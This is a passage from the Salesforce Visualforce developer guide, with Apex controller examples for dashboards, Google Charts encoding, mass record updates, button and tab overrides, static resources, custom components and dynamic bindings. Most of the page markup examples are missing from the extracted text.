Visualforce page that can be used within a dashboard and that uses a custom list controller. It displays all of the open cases associated with a contact named “Babara Levy”: {!contactName}'s Cases This code shows the custom list controller associated with the page: public class retrieveCase { public String getContactName() { return 'Babara Levy'; } public List getCases() { return [SELECT status, subject FROM Case WHERE Contact.name = 'Babara Levy' AND status != 'Closed' limit 5]; } } Figure 22: Sample of a Visualforce Page Running in a Dashboard See Also: Creating Visualforce Dashboard Components Integrating Visualforce and Google Charts Google Charts provides a way to dynamically render data through different visualizations. Combined with Visualforce, the Google Charts can offer more flexibility and distribution potential than using a dashboard. Since the charts are generated through a URL, the visualizations can be shared and embedded wherever images are permitted. There are two prerequisites before using the Google Charts API. The first is to determine how to encode the data. The Google Charts API has three data encoding types—text, simple, and extended. For this example, we'll only use the simple encoding. The second is to decide what type of chart to use. For this example, a user will choose between a bar graph or a line chart. 114 Advanced Examples Integrating Visualforce and Google Charts The custom controller has two important functions—init() and create()—that correspond to the requirements above: • • The function init() takes a numeric value and converts it to Google Chart's simple data encoding type. For more information, see Simple Encoding Data Format in the Google Charts API documentation. The function create() constructs the URL that makes the request to the Google Charts API. The following code represents the controller for the Visualforce page: /* This class contains the encoding algorithm for use with the Google chartAPI. */ public class GoogleDataEncoding { // Exceptions to handle any erroneous data public class EncodingException extends Exception {} public class UnsupportedEncodingTypeException extends Exception {} /* The encoding map which takes an integer key and returns the respective encoding value as defined by Google. This map is initialized in init() */ private Map encodingMap { get; set; } /* The maximum encoding value supported for the given encoding type. This value is set during init() */ private Integer encodingMax { get; set; } /* The minimum encoding value supported for the given encoding type. This value is set during init() */ private Integer encodingMin { get; set; } /* The encoding type according to Google's API. Only SIMPLE is implemented. */ public enum EncodingType { TEXT, SIMPLE, EXTENDED } /* The minimum value to use in the generation of an encoding value. */ public Integer min { get; private set; } /* The maximum value to use in the generation of an encoding value. */ public Integer max { get; private set; } // The encoding type according to the API defined by Google public EncodingType eType { get; private set; } // Corresponds to the data set provided by the page public String dataSet { get; set; } // Corresponds to the type of graph selected on the page public String graph { get; set; } // The URL that renders the Google Chart public String chartURL { get; set; } // Indicates whether the chart should be displayed public Boolean displayChart { get; set; } public GoogleDataEncoding() { min = 0; max = 61; eType = EncodingType.SIMPLE; displayChart = false; init(); } 115 Advanced Examples Integrating Visualforce and Google Charts public PageReference create() { String[] dataSetList = dataSet.split(',', 0); String mappedValue = 'chd=s:'; chartURL = 'http://chart.apis.google.com/chart?chs=600x300' + '&chtt=Time+vs|Distance&chxt=x,y,x,y' + '&chxr=0,0,10,1|1,0,65,5' + '&chxl=2:|Seconds|3:|Meters'; if (graph.compareTo('barChart') == 0) { chartURL += '&cht=bvs'; } else if (graph.compareTo('lineChart') == 0) { chartURL += '&cht=ls'; } else { throw new EncodingException('An unsupported chart type' + 'was selected: ' + graph + ' does not exist.'); } for(String dataPoint : dataSetList) { mappedValue += getEncode(Integer.valueOf(dataPoint.trim())); } chartURL += '&' + mappedValue; displayChart = true; return null; } /* This method returns the encoding type parameter value that matches the specified encoding type. */ public static String getEncodingDescriptor(EncodingType t) { if(t == EncodingType.TEXT) return 't'; else if(t == EncodingType.SIMPLE) return 's'; else if(t == EncodingType.EXTENDED) return 'e'; else return ''; } /* This method takes a given number within the declared range of the encoding class and encodes it according to the encoding type. If the value provided fall outside of the declared range, an EncodingException is thrown. */ public String getEncode(Integer d) { if(d > max || d < min) { throw new EncodingException('Value provided ' + d + ' was outside the declared min/max range (' + min + '/' + max + ')'); } else { return encodingMap.get(d); } } /* This method initializes the encoding map which is then stored for expected repetitious use to minimize statement invocation. */ private void init() { if(eType == EncodingType.SIMPLE) { encodingMax = 61; encodingMin = 0; encodingMap = new Map(); 116 Advanced Examples Integrating Visualforce and Google Charts encodingMap.put(0,'A'); encodingMap.put(1,'B'); encodingMap.put(2,'C'); encodingMap.put(3,'D'); encodingMap.put(4,'E'); encodingMap.put(5,'F'); encodingMap.put(6,'G'); encodingMap.put(7,'H'); encodingMap.put(8,'I'); encodingMap.put(9,'J'); encodingMap.put(10,'K'); encodingMap.put(11,'L'); encodingMap.put(12,'M'); encodingMap.put(13,'N'); encodingMap.put(14,'O'); encodingMap.put(15,'P'); encodingMap.put(16,'Q'); encodingMap.put(17,'R'); encodingMap.put(18,'S'); encodingMap.put(19,'T'); encodingMap.put(20,'U'); encodingMap.put(21,'V'); encodingMap.put(22,'W'); encodingMap.put(23,'X'); encodingMap.put(24,'Y'); encodingMap.put(25,'Z'); encodingMap.put(26,'a'); encodingMap.put(27,'b'); encodingMap.put(28,'c'); encodingMap.put(29,'d'); encodingMap.put(30,'e'); encodingMap.put(31,'f'); encodingMap.put(32,'g'); encodingMap.put(33,'h'); encodingMap.put(34,'i'); encodingMap.put(35,'j'); encodingMap.put(36,'k'); encodingMap.put(37,'l'); encodingMap.put(38,'m'); encodingMap.put(39,'n'); encodingMap.put(40,'o'); encodingMap.put(41,'p'); encodingMap.put(42,'q'); encodingMap.put(43,'r'); encodingMap.put(44,'s'); encodingMap.put(45,'t'); encodingMap.put(46,'u'); encodingMap.put(47,'v'); encodingMap.put(48,'w'); encodingMap.put(49,'x'); encodingMap.put(50,'y'); encodingMap.put(51,'z'); encodingMap.put(52,'0'); encodingMap.put(53,'1'); encodingMap.put(54,'2'); encodingMap.put(55,'3'); encodingMap.put(56,'4'); encodingMap.put(57,'5'); encodingMap.put(58,'6'); encodingMap.put(59,'7'); encodingMap.put(60,'8'); encodingMap.put(61,'9'); } } } 117 Advanced Examples Mass-Updating Records with a Custom List Controller The Visualforce page needs two input elements: one for the chart type, and one for the data set. Below is a sample page that constructs the form to collect this information:

For a sample, enter the following sequence of numbers: 1, 1, 2, 3, 5, 8, 13, 21, 34, 55. Your page should render the following: Mass-Updating Records with a Custom List Controller To create pages that perform mass updates, use the prototype object contained in the StandardSetController class. 118 Advanced Examples Mass-Updating Records with a Custom List Controller The list controller tracks two sets of records: a primary list containing all the records selected by the filter, and a secondary list containing those records the user selected. The secondary list is usually established on a standard listview page where the user can check boxes to select the records. The user can then click on a custom list button that navigates to your custom mass update page, which uses the prototype object to apply new field values to the user's selection. The prototype object operates on all the records in the user's selection. To retrieve the prototype object in your custom controller, use the StandardSetController's getRecord method. For example, to enable mass updates for Opportunities, use the singular term for its associated object (Opportunity) to set field values for all records in the selection: 1. Create a Visualforce page called massupdatestages. 2. Provide the following controller: public class selectedSizeWorkaround { ApexPages.StandardSetController setCon; public selectedSizeWorkaround(ApexPages.StandardSetController controller) { setCon = controller; } public integer getMySelectedSize() { return setCon.getSelected().size(); } public integer getMyRecordsSize() { return setCon.getRecords().size(); } } 3. Provide the following markup: 119 Advanced Examples Mass-Updating Records with a Custom List Controller 4. 5. 6. 7. Click Your Name > Setup > Customize > Opportunities > Buttons and Links Under Custom Buttons and Links, click New. Set the Button Label to Mass Update Stages, and set the Name to MassUpdateStages. Set the Display Type to List Button and ensure that Display Checkboxes (for Multi-Record Selection) is checked. Set the Behavior to Display in existing window with sidebar, and set the Content Source to Visualforce Page. Click the name of the page you just created to associate it with this button. 8. Click Save. 9. Click Your Name > Setup > Customize > Opportunities > Search Layouts. Then, click Edit next to Opportunities List View. 10. Under Custom Buttons, move the Mass Update Stages button to the Selected Buttons list. 11. Click Save. 12. Click the Opportunities tab. Select or create a filter that displays some existing opportunities you would like to change. 13. You will see checkboxes next to each of the results. Click any number of checkboxes and click the Mass Update Stages button to change the selected stages to any value you wish. 14. Click Save. While this example shows you how to update one field, any number of fields in the prototype object can be referenced and applied to the user's selection; any field in the prototype object that the user doesn't set doesn't affect the selected records. Remember that properties of fields, such as their requiredness, are maintained in the prototype object. For example, if you include an input field on the page for a required field such as Opportunity.StageName, the user must enter a value for the field. Note: You only need selectedSizeWorkaround if you want your page to either display or reference the sizes of the user selection or filtered set. Such a display is helpful since it gives the user information about the set that will be modified by the mass update. 120 Chapter 9 Overriding Buttons, Links, and Tabs with Visualforce Salesforce lets you override the behavior of standard buttons on record detail pages. In addition, you can override the tab home page that displays when a user clicks a standard or custom object tab. Important: Before you override a standard button, review the considerations for overriding standard buttons. To override a standard button or a tab home page: 1. Navigate to the appropriate override page. • • For standard objects, click Your Name > Setup > Customize, select the appropriate object or tab link, then click Buttons and Links. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. In the Standard Buttons and Links related list, click Edit next to the button or tab home page you want to override. Note: Since events and tasks don't have their own tabs, you can only override their standard buttons and links. 2. Pick Visualforce Page as an override type. 3. Select the Visualforce page you want to run when users click the button or tab. When overriding buttons with a Visualforce page, you must use the standard controller for the object on which the button appears. For example, if you want to use a page to override the Edit button on accounts, the page markup must include the standardController="Account" attribute on the tag: When overriding tabs with a Visualforce page, only Visualforce pages that use the standard list controller for that tab, pages with a custom controller, or pages with no controller can be selected. When overriding lists with a Visualforce page, only Visualforce pages that use a standard list controller can be selected. When overriding the New button with a Visualforce page, you also have the option to skip the record type selection page. If selected, any new records you create won't be forwarded to the record type selection page, since it assumes that your Visualforce page is already handling record types. Tip: Use a controller extension when you need to add extra functionality to Visualforce page that you are using as an override. 4. Optionally, enter any comments to note the reason for making this change. 5. Click Save. 121 Overriding Buttons, Links, and Tabs with Visualforce Overriding Tabs Using a Standard List Controller Button overrides are global throughout Salesforce because overrides control the action behind the button. For example, if you override the New button on opportunities, your replacement action takes effect wherever that action is available. • • • • The Opportunities home page. Any opportunities related lists on other objects such as accounts. The Create New drop-down list in the sidebar. Any browser bookmarks for this Salesforce page. To remove an override: 1. Navigate to the appropriate override page. • • For standard objects, click Your Name > Setup > Customize, select the appropriate object or tab link, then click Buttons and Links. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. 2. Click Edit next to the override. 3. Select No Override (default behavior). 4. Click OK. Overriding Tabs Using a Standard List Controller Pages that use standard list controllers can be used to override tabs. For example, if you create a page named overrideAccountTab that is associated with the Account standard list controller: Then, you can override the Account tab to display that page instead of the standard Account home page. To override the tab for Account: 1. 2. 3. 4. Click Your Name > Setup > Customize > Accounts > Buttons and Links. Click Edit for the Accounts Tab. From the Visualforce Page drop-down list, select the overrideAccountTab page. Click Save. Note: Make sure you have made this page available to all your users by setting the page level security appropriately. Defining Custom Buttons and Links for Visualforce Before creating a custom button or link, determine what action you want to occur when a user clicks it. 122 Overriding Buttons, Links, and Tabs with Visualforce Defining Custom Buttons and Links for Visualforce 1. Select Your Name > Setup > Customize, select the appropriate tab or users link, and choose Buttons and Links. Custom buttons are not available on the user object or custom home pages. Custom buttons and links are available for activities under the individual setup links for tasks and events. However, you can override a button that applies to both tasks and events by clicking Your Name > Setup > Customize > Activities > Activity Buttons. For custom objects, click Your Name > Setup > Create > Objects, and select a custom object. 2. From Custom Buttons and Links, click New. 3. Enter the following attributes. Attribute Name Description Label Text that displays on user pages for the custom button or link. Name The unique name for the button or link used when referenced from a merge field.This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Namespace Prefix In a packaging context, a namespace prefix is a one to 15-character alphanumeric identifier that distinguishes your package and its contents from packages of other developers on AppExchange. Namespace prefixes are case-insensitive. For example, ABC and abc are not recognized as unique. Your namespace prefix must be globally unique across all Salesforce organizations. It keeps your managed package under your control exclusively. Protected Component Protected components can’t be linked to or referenced by components created in a subscriber organization. A developer can delete a protected component in a future release without worrying about failing installations. However, once a component is marked as unprotected and is released globally, the developer can’t delete it. Description Text that distinguishes the button or link and is displayed when an administrator is setting up buttons and links. Display Type Determines where the button or link is available on page layouts. Detail Page Link Select this option to add the link to the Custom Links section of your page layouts. Detail Page Button Select this option to add the custom button to a record’s detail page. You can add detail page buttons to the Button section of a page layout only. List Button Select this option to add the custom button to a list view, search result layout, or related list. You can add list buttons to the Related List section of a page layout or the List View and Search Result layouts only. For list buttons, Salesforce automatically selects a Display Checkboxes (for Multi-Record Selection) option that includes a checkbox next to each record in the list, allowing users to select the records they want applied to the action on the list button. Deselect this option if your custom button does not require the user to select records. For example, a button that navigates to another page. 123 Overriding Buttons, Links, and Tabs with Visualforce Adding Custom List Buttons using Standard List Controllers Attribute Name Description Behavior Choose the outcome of clicking the button or link. When applicable, some settings have default values. For example, if you choose Display in new window, the default height of a new window is 600 pixels. Content Source To use a Visualforce page, select “Visualforce Page,” and choose the page from the drop-down list. Visualforce pages cannot be used as custom links on the home page. 4. Click Save when you are finished. Click Quick Save to save and continue editing. To view the specified URL, click Preview. To quit without saving your content, click Cancel. 5. Edit the page layout for the appropriate tab or search layout to display the new button or link. If you add a custom link for users, it is automatically added to the Custom Links section of the user detail page. Detail page buttons can be added to the Button section of a page layout only. 6. Optionally, set the window properties to open the button or link using settings other than the user’s default browser settings. Adding Custom List Buttons using Standard List Controllers In addition to overriding standard buttons and links, you can also create custom list buttons that link to pages that use a standard list controller. These list buttons can be used on a list page, search results, and any related list for the object and allow you to take actions on a group of selected records. To indicate the set of records that have been selected, use the {!selected} expression. For example, to add a custom button to a related list for opportunities that allows you to edit and save the opportunity stage and close date on selected records: 1. Create the following Apex class: public class tenPageSizeExt { public tenPageSizeExt(ApexPages.StandardSetController controller) { controller.setPageSize(10); } } 2. Create the following page and call it oppEditStageAndCloseDate: 124 Overriding Buttons, Links, and Tabs with Visualforce Adding Custom List Buttons using Standard List Controllers 3. Make the page available to all users. a. b. c. d. Click Your Name > Setup > Develop > Pages. Click Security for the oppEditStageAndCloseDate page. Add the appropriate profiles to the Enabled Profiles list. Click Save. 4. Create a custom button on opportunities. a. b. c. d. e. f. g. h. Click Your Name > Setup > Customize > Opportunities > Buttons and Links. Click New in the Custom Buttons and Links section. Set the Label to Edit Stage & Date. Set the Display Type to List Button. Set the Content Source to Visualforce Page. From the Content drop-down list, select oppEditStageAndCloseDate. Click Save. A warning will display notifying you that the button will not be displayed until you have updated page layouts. Click OK. 5. Add the custom button to an account page layout. a. b. c. d. Click Your Name > Setup > Customize > Accounts > Page Layouts. Click Edit for the appropriate page layout. In the Related List Section, click on Opportunities, then click to edit the properties. In the Custom Buttons section, select Edit Stage & Date in the Available Buttons list and add it to the Selected Buttons list. e. Click OK. f. Click Save. Now, when you visit the account page, there is a new button in the opportunities related list. Figure 23: Example of New Button When you select an opportunity and click Edit Stage & Date, you are taken to your custom edit page. 125 Overriding Buttons, Links, and Tabs with Visualforce Displaying Record Types Figure 24: Example of Custom Edit Page Displaying Record Types Visualforce pages with a Salesforce.com API version equal to or greater than 20.0 support record types. Record types allow you to offer different business processes, picklist values, and page layouts to different users based on their profiles. After creating a record type in Setup, enabling support for it in Visualforce requires no additional actions on your part. Visualforce pages for objects that use record types respect your settings. Record type field is named RecordTypeId. Your record type definitions affect the rendering of tags in the following ways: • If the tag refers to a picklist field that's filtered by a record type: ◊ The rendered component only displays options compatible with that record type. ◊ If the component is bound to a dependent picklist with a rendered and editable controlling field, only options compatible with both the record type and the controlling field value display. • If the tag refers to a record type field: ◊ If the user can change the field’s record type, or select a record type for the new field, the component renders as a drop-down list. Otherwise, it renders as read-only text. ◊ It's the developer's responsibility to either refresh the page or rerender filtered picklists when the list changes. In addition, the tag's support for record types is identical to a read-only implementation of the behavior. When overriding the New button with a Visualforce page, you also have the option to skip the record type selection page. If selected, any new records you create won't be forwarded to the record type selection page, since it assumes that your Visualforce page is already handling record types. 126 Chapter 10 Using Static Resources Static resources allow you to upload content that you can reference in a Visualforce page, including archives (such as .zip and .jar files), images, stylesheets, JavaScript, and other files. Using a static resource is preferable to uploading a file to the Documents tab because: • • You can package a collection of related files into a directory hierarchy and upload that hierarchy as a .zip or .jar archive. You can reference a static resource by name in page markup by using the $Resource global variable instead of hard coding document IDs. Tip: In addition, using static resources to refer to JavaScript or cascading style sheets (CSS) is preferable to including the markup inline. Managing this kind of content using static resources allows you to have a consistent look and feel for all your pages and a shared set of JavaScript functionality. A single static resource can be up to 5 MB in size, and an organization can have up to 250 MB of static resources, total. Creating a Static Resource To create a static resource: 1. Click Your Name > Setup > Develop > Static Resources. 2. Click New Static Resource. 3. In the Name text box, enter the text that should be used to identify the resource in Visualforce markup. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Note: If you reference a static resource in Visualforce markup and then change the name of the resource, the Visualforce markup is updated to reflect that change. 4. In the Description text area, specify an optional description of the resource. 5. Next to the File text box, click Browse to navigate to a local copy of the resource that you want to upload. A single static resource can be up to 5 MB in size, and an organization can have up to 250 MB of static resources, total. 6. Set the Cache Control: • Private specifies that the static resource data cached on the Salesforce server shouldn’t be shared with other users. The static resource is only stored in cache for the current user’s session. Note: Cache settings on static resources are set to private when accessed via a Force.com site whose guest user's profile has restrictions based on IP range or login hours. Sites with guest user profile restrictions cache 127 Using Static Resources Referencing a Static Resource in Visualforce Markup static resources only within the browser. Also, if a previously unrestricted site becomes restricted, it can take up to 45 days for the static resources to expire from the Salesforce cache and any intermediate caches. • Public specifies that the static resource data cached on the Salesforce server be shared with other users in your organization for faster load times. The W3C specifications on Header Field Definitions has more technical information about cache-control. Note: This feature only works for Sites—enabled organizations that use the static resource. 7. Click Save. Warning: If you are using WinZip be sure to install the most recent version. Older versions of WinZip may cause a loss of data. Referencing a Static Resource in Visualforce Markup The way you reference a static resource in Visualforce markup depends on whether you want to reference a stand-alone file, or whether you want to reference a file that is contained in an archive (such as a .zip or .jar file): • To reference a stand-alone file, use $Resource. as a merge field, where is the name you specified when you uploaded the resource. For example: or • To reference a file in an archive, use the URLFOR function. Specify the static resource name that you provided when you uploaded the archive with the first parameter, and the path to the desired file within the archive with the second. For example: or • You can use relative paths in files in static resource archives to refer to other content within the archive. For example, in your CSS file, named styles.css, you have the following style: table { background-image: img/testimage.gif } When you use that CSS in a Visualforce page, you need to make sure the CSS file can find the image. To do that, create an archive (such as a zip file) that includes styles.css and img/testimage.gif. Make sure that the path structure 128 Using Static Resources Referencing a Static Resource in Visualforce Markup is preserved in the archive. Then upload the archive file as a static resource named “style_resources”. Then, in your page, add the following component: • Since the static resource contains both the stylesheet and the image, the relative path in the stylesheet resolves and the image is displayed. Through a custom controller, you can dynamically refer to the contents of a static resource using the tag. First, create the custom controller: global class MyController { public String getImageName() { return 'Picture.gif';//this is the name of the image } } Then, refer to the getImageName method in your tag: If the name of the image changes in the zip file, you can just change the returned value in getImageName. 129 Chapter 11 Creating and Using Custom Components Salesforce provides a library of standard, pre-built components, such as and , that can be used to develop Visualforce pages. In addition, you can build your own custom components to augment this library. This chapter provides an overview of custom components and how to create them: What are Custom Components? Custom Component Markup Using Custom Components in a Visualforce Page Custom Component Attributes Custom Component Controllers Defining Custom Components • • • • • • What are Custom Components? Similar to the way you can encapsulate a piece of code in a method and then reuse that method several times in a program, you can encapsulate a common design pattern in a custom component and then reuse that component several times in one or more Visualforce pages. For example, suppose you want to create a photo album using Visualforce pages. Each photo in the album has its own border color, and a text caption that displays beneath it. Rather than repeating the Visualforce markup required for displaying every photo in the album, you can define a custom component named singlePhoto that has attributes for image, border color, and caption, and then uses those attributes to display the image on the page. Once defined, every Visualforce page in your organization can leverage the singlePhoto custom component in the same way as a page can leverage standard components such as or . Unlike page templates, which also enable developers to reuse markup, custom components provide more power and flexibility because: • Custom components allow developers to define attributes that can be passed in to each component. The value of an attribute can then change the way the markup is displayed on the final page, and the controller-based logic that executes for that instance of the component. This behavior differs from that of templates, which do not have a way of passing information from the page that uses a template to the template's definition itself. 130 Creating and Using Custom Components • Defining Custom Components Custom component descriptions are displayed in the application's component reference dialog alongside standard component descriptions. Template descriptions, on the other hand, can only be referenced through the Setup area of Salesforce because they are defined as pages. See Also: Defining Custom Components Using Custom Components in a Visualforce Page Defining Custom Components To define a custom component for use in a Visualforce page: 1. 2. 3. 4. 5. 6. 7. 8. In Salesforce click Your Name > Setup > Develop > Components. Click New. In the Label text box, enter the text that should be used to identify the custom component in Setup tools. In the Name text box, enter the text that should identify this custom component in Visualforce markup. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. In the Description text box, enter a text description of the custom component. This description appears in the component reference with other standard component descriptions as soon as you click Save. In the Body text box, enter Visualforce markup for the custom component definition. A single component can hold up to 1 MB of text, or approximately 1,000,000 characters. Click Version Settings to specify the version of Visualforce and the API used with this component. You can also specify versions for any managed packages installed in your organization. Click Save to save your changes and view the custom component’s detail screen, or click Quick Save to save your changes and continue editing your component. Your Visualforce markup must be valid before you can save your component. Note: You can also create a custom component in Visualforce development mode by adding a reference to a custom component that does not yet exist to Visualforce page markup. After saving the markup, a quick fix link appears that allows you to create a new component definition (including any specified attributes) based on the name that you provided for the component. For example, if you haven’t yet defined a custom component named myNewComponent and insert into existing page markup, after clicking Save a quick fix allows you to define a new custom component named myNewComponent with the following default definition:

Congratulations

This is your new Component: mynewcomponent
You can modify this definition in the Setup area by clicking Your Name > Setup > Develop > Components and then clicking Edit next to the myNewComponent custom component. 131 Creating and Using Custom Components Custom Component Markup Once your component has been created, you can view it at http://mySalesforceInstance/apexcomponent/nameOfNewComponent, where the value of mySalesforceInstance is the host name of your Salesforce instance (for example, na3.salesforce.com) and the value of nameOfNewComponent is the value of the Name field on the custom component definition. The component is displayed as if it’s a Visualforce page. Consequently, if your component relies on attributes or on the content of the component tag’s body, this URL may generate results that you don’t expect. To more accurately test a custom component, add it to a Visualforce page and then view the page. Custom Component Markup All markup for a custom component is defined within an tag. This tag must be the top-level tag in a custom component definition. For example: Notice that the markup can be a combination of Visualforce and HTML tags, just like other Visualforce pages. For a more complex example, you could use a custom component to create a form that is used across multiple Visualforce pages. Create a new custom component named recordDisplay and copy the following code: Next, create a page called displayRecords and use the following code: For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/displayAccount?id=001D000000IRt53 You should see a page with details about the account you passed in as an ID. Now, replace the code in displayRecords with the following sample: 132 Creating and Using Custom Components Using Custom Components in a Visualforce Page Again, pass in the ID of a contact before refreshing the page. You should see the page display information about your Contact. Custom Component Attributes contains more information on using the component. Using Custom Components in a Visualforce Page The body of an tag is the markup that is added to a standard Visualforce page whenever the component is included. For example, the following Visualforce page uses the component defined in Custom Component Markup on page 132 (in this example, the component was saved with the name myComponent): This is my page.
It results in the following output: This is my page. This is my custom component. To use a custom component in a Visualforce page you must prefix the component's name with the namespace in which the component was defined. For example, if a component named myComponent is defined in a namespace called myNS, the component can be referenced in a Visualforce page as . For ease of use, a component that is defined in the same namespace as an associated page can also use the c namespace prefix. Consequently, if the page and component from the sample above are defined in the same namespace, you can reference the component as . If you want to insert content into a custom component, use the tag. See Also: What are Custom Components? Defining Custom Components Managing Version Settings for Custom Components To set the Salesforce API and Visualforce version for a Visualforce page or custom component: 1. Edit a Visualforce page or component and click Version Settings. Note: You can only access the version settings for a page or custom component if you edit it from Your Name > Setup > Develop. You can’t access version settings if you edit using Developer Mode. 2. Select the Version of the Salesforce API. This is also the version of Visualforce used with the page or component. 133 Creating and Using Custom Components Custom Component Attributes 3. Click Save. See Also: How is Visualforce Versioned? Managing Package Version Settings for Visualforce Pages and Components Custom Component Attributes Apart from standard Visualforce markup, the body of an tag can also specify the attributes that can be passed in to the custom component when it’s used in a Visualforce page. The values of such attributes can then be used directly in the component, or within the component’s controller, if applicable. Attributes are defined with the tag. For example, the following custom component definition specifies two required attributes named value and borderColor. Values for these attributes are referenced in the custom component definition using standard {! } Visualforce expression language syntax:

Use this component in a Visualforce page with the following markup: An tag requires values for the name, description, and type attributes: • • • The name attribute defines how the custom attribute can be referenced in Visualforce pages. names for attributes must be unique within a component. The description attribute defines the help text for the attribute that appears in the component reference library once the custom component has been saved. The custom component is listed in the reference library with the standard components that are also available. The type attribute defines the Apex data type of the attribute. Only the following data types are allowed as values for the type attribute: ◊ ◊ ◊ ◊ ◊ Primitives, such as String, Integer, or Boolean. sObjects, such as Account, My_Custom_Object__c, or the generic sObject type. One-dimensional lists, specified using array-notation, such as String[], or Contact[]. Maps, specified using type="map". You don’t need to specify the map’s specific data type. Custom Apex classes. For information on additional attributes, see apex:attribute on page 276. 134 Creating and Using Custom Components Custom Component Controllers Default Custom Component Attributes Two attributes are always generated for custom components. These attributes don’t need to be included in your component definition: id An identifier that allows the custom component to be referenced by other components in the page. rendered A Boolean value that specifies whether the custom component is rendered on the page. If not specified, this value defaults to true. Custom Component Controllers Similar to standard Visualforce pages, custom components can be associated with a controller written in Apex. This association is made by setting the controller attribute on the component to your custom controller. You can use the controller to perform additional logic before returning the component's markup to the associated page. Accessing Custom Component Attributes in a Controller To access the value of a custom component attribute in an associated custom component controller: 1. Define a property in the custom component controller to store the value of the attribute. 2. Define a getter and setter method for the property. For example: public class myComponentController { public String controllerValue; public void setControllerValue (String s) { controllerValue = s.toUpperCase(); } public String getControllerValue() { return controllerValue; } } Notice that the setter modifies the value. 3. In the tag in your component definition, use the assignTo attribute to bind the attribute to the class variable you just defined. For example:

componentValue is "{!componentValue}"
controllerValue is "{!controllerValue}"

Notice that the controllerValue has been upper cased using an Apex method.
135 Creating and Using Custom Components Custom Component Controllers Note that when using the assignTo attribute, getter and setter methods, or a property with get and set values, must be defined. 4. Add the component to a page. For example, The output of the page will look something like the following: Notice that the Apex controller method changes controllerValue so that it is displayed with uppercase characters. 136 Chapter 12 Dynamic Visualforce Bindings Dynamic Visualforce bindings are a way of writing generic Visualforce pages that display information about records without necessarily knowing which fields to show. In other words, fields on the page are determined at run time, rather than compile time. This allows a developer to design a single page that renders differently for various audiences, based on their permissions or preferences. Dynamic bindings are useful for Visualforce pages included in managed packages since they allow for the presentation of data specific to each subscriber with very little coding. Dynamic Visualforce binding is supported for standard and custom objects. Dynamic bindings take the following general form: reference[expression] where • • reference evaluates to either an sObject, an Apex class, or a global variable expression evaluates to a string that is the name of a field, or a related object. If a related object is returned, it can be used to recursively select fields or further related objects. Dynamic bindings can be used anywhere formula expressions are valid. Use them on a page like this: {!reference[expression]} Optionally, you can add a fieldname to the end of the whole dynamic expression. If the dynamic expression resolves to an sObject, the fieldname refers to a specific field on that object. If your reference is an Apex class, the field must be public or global. For example: {!myContact['Account'][fieldname]} Your dynamic Visualforce pages should be designed to use a standard controller for the object on your page, and implement any further customization through a controller extension. You can use the Apex Schema.SobjectType methods to get information for your dynamic references, in particular those that access the fields of an object. For example, Schema.SobjectType.Account.fields.getMap() returns a Map of the names of the Account fields in a format that your Apex controllers and extensions can understand. Important: Static references are checked for validity when you save a page, and an invalid reference will prevent you from saving it. Dynamic references, by their nature, can only be checked at run time, and if your page contains a dynamic reference that is invalid when the page is viewed, the page fails. It’s possible to create references to custom fields or global variables which are valid, but if that field or global value is later deleted, the page will fail when it is next viewed. Defining Relationships Both reference and expression can be complex expressions, such as those that evaluate to object relationships. For example, suppose that an object called Object1__c has a relationship to another object called Object2__c. The name of the relationship between these two objects is called Relationship__r. 137 Dynamic Visualforce Bindings Using Dynamic References with Standard Objects If Object2__c has a field called myField, then the following dynamically-cast lookups all return a reference to the same field: • • • • • • Object1__c.Object2__c['myField'] Object1__c['Object2__c.myField'] Object1__c['Object2__c']['myField'] Object1__c.Relationship__r[myField] Object1__c[Relationship__r.myField] Object1__c[Relationship__r][myField] Using Dynamic References with Standard Objects Use dynamic Visualforce bindings to construct simple, reusable pages with a known set of fields you want to access. This approach has the advantage of easily customizing which fields are pertinent for a user to work with. The next two examples are deliberately simple for instructional purposes. See Using Dynamic References for a User-Customizable Page for a more advanced example that makes fuller use of dynamic Visualforce. A Simple Dynamic Form The following example demonstrates the simplest way to construct a Visualforce page that uses dynamic references. First, create a controller extension that provides a “dynamic” list of fields to display: public class DynamicAccountFieldsLister { public DynamicAccountFieldsLister(ApexPages.StandardController controller) { controller.addFields(editableFields); } public List editableFields { get { if (editableFields == null) { editableFields = new List(); editableFields.add('Industry'); editableFields.add('AnnualRevenue'); editableFields.add('BillingCity'); } return editableFields ; } private set; } } Next, create a page called DynamicAccountEditor that uses the above controller extension:
138 Dynamic Visualforce Bindings Using Dynamic References with Standard Objects
Notice what’s going on in this sample: • • • • The DynamicAccountFieldsLister controller extension creates a list of strings called editableFields. Each string maps to a field name in the Account object. The editableFields list is hard-coded, but you can determine them from a query or calculation, read them from a custom setting, or otherwise providing a more dynamic experience. This is what makes dynamic references powerful. DynamicAccountEditor markup uses an tag to loop through the strings returned by editableFields. The tag displays each field in editableFields by referencing the f iteration element, which represents the name of a field on Account. The dynamic reference {!Account[f]} actually displays the value on the page. Ensuring that Fields in Dynamic References are Loaded by a Standard Controller Visualforce automatically optimizes the SOQL query performed by a page’s StandardController (or StandardSetController), loading only the fields which are actually used on a page. When you create a Visualforce page with static references to objects and fields, the fields and objects can be known in advance. When the page is saved, Visualforce is able to determine and save which objects and fields need to be added to the SOQL query that the StandardController will perform later, when the page is requested. Dynamic references are evaluated at runtime, after the SOQL query is run by the StandardController. If a field is only used via a dynamic reference, it won’t be automatically loaded. When that dynamic reference is later evaluated, it will resolve to data which is missing, the result of which is a SOQL error. You must provide some extra information to the controller, so that it knows what fields and related objects to load. You can add any number of additional fields to a StandardController query, by using the addFields() method on the page controller to pass in the list of additional fields to load. In the prior example, this is done in the controller extension’s constructor: public DynamicAccountFieldsLister(ApexPages.StandardController controller) { controller.addFields(editableFields); } The constructor uses the same property that the page markup does, editableFields, to add more fields to the controller’s list of fields to load. This works well for pages when the complete list of fields to load can be known when the controller extension is instantiated. If the list of fields can’t be determined until later in the request processing, you can call reset() on the controller and then add the fields. This will cause the controller to send the revised query. Using Dynamic References for a User-Customizable Page provides an example of this technique. Note: Adding fields to a controller is only required if you’re using the default query for a StandardController or StandardSetController. If your controller or controller extension performs its own SOQL query, using addFields() is unnecessary and has no effect. For more information on these methods, see the 